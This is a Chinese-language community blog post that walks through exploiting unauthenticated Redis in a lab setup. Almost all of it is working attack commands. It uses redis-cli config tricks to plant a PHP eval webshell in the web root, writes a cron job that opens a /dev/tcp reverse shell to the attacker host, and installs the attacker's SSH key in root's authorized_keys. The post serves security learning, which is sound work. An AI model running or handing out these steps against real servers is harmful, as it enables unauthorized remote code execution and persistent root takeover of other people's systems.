漏洞复现 - - - 未授权访问漏洞Redis

举报
yd_217360808 发表于 2022/10/13 21:25:52 2022/10/13
【摘要】 一,未授权访问漏洞概述未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。二,常见的未授权访问漏洞1.MongoDB 未授权访问漏洞2.Redis 未授权访问漏洞3.Memcached 未授权访问漏洞CVE-2013-72394.JBOSS 未授权访问漏洞5.VNC 未授权访问漏洞6.Dock...

一,未授权访问漏洞概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二,常见的未授权访问漏洞

1.MongoDB 未授权访问漏洞

2.Redis 未授权访问漏洞

3.Memcached 未授权访问漏洞CVE-2013-7239

4.JBOSS 未授权访问漏洞

5.VNC 未授权访问漏洞

6.Docker 未授权访问漏洞

7.ZooKeeper 未授权访问漏洞

8.Rsync 未授权访问漏洞

9.Elasticsearch 未授权访问漏洞
10.Hadoop 未授权访问漏洞
11.Jupyter Notebook 未授权访问漏洞
Redis历史漏洞
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

 三,Redis未授权访问

漏洞信息
Redis 简介
Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。Redis 支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载到内存使用。Redis 不仅支持简单的 key-value 类型的数据,同时还提供 list,set,zset,hash 等数据结构的存储。Redis 支持主从复制,即 master-slave 模式的数据备份。

四,环境搭建

漏洞环境搭建
docker pull medicean/vulapps:r_redis_1
docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1

五,漏洞利用方法

实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200

攻击机器:Kali、IP地址:10.1.1.100

方法一

通过redis数据备份功能,往WEB网站根目录写入一句话木马,利用shell 得到WEB网站权限
 思路:得到了IP地址应该首先进行信息扫描

发现80端口是开放的

22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务

访问80端口发现仅是一个测试页面

python3 dirsearch.py -u 10.1.1.200 -e php   //使用dirsearch工具对网页进行暴力扫描

 

发现1.php   phpinfo.php存在信息泄露 

访问一下phpinfo

目标机器存在6379即Redis服务,尝试一下看是否存在Redis未授权漏洞:

 安装 redis-cli

apt install redis-tools  //安装包管理器

 

 wget http://download.redis.io/releases/redis-6.0.3.tar.gz       //下载redis

tar -zxvf redis-6.0.3.tar.gz       //解压

make     //编译 

redis-cli -h 10.1.1.200 -p 6379         //连接redis服务器

-h:指定连接的redis服务器

-p 指定6379端口 

info打印信息 如版本目录信息'

key *  //列出当前数据库的所有键 

config set dir /var/www/html        //设置备份文件的放置路径

config set dbfilename shell.php    //设置备份文件的文件名

set x "<?php @eval($_POST['test']);?>      //x表示添加一个键,这个键的值为一句话木马
save     //保存

 使用中国蚁剑连接

 连接成功,双击即可管理

 方法二

通过定时任务反弹Shell

1.开启对4433端口的监听

2.redis-cli连接

key *

del x     //增加一个键X

set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"  
//设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........

config set dir /var/spool/cron    //设置备份路径
config set dbfilename root    //设置备份文件名
save         //保存

3.查看监听返回数据

输入whoami查看用户,定时反弹shell成功

方法三

写SSH公钥,实现免密登录linux服务器

攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。

1.写入ssh公钥

ssh-keygen -t rsa  

2.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt       /查看txt文件

4.用redis-cli -h ip命令连接靶机

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey     //连接靶机传入文件

redis-ccli -h 10.1.1.200 -p 6379     //连接redis

config set dir /root/.ssh/              //设置备份文件路径

config set dbfilename "authorized_keys"         //命名
save                //保存

 5.利用ssh远程连接目标机器 ,连接成功

ssh root@10.1.1.200 -i/root/.ssh/id_rsa   //

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。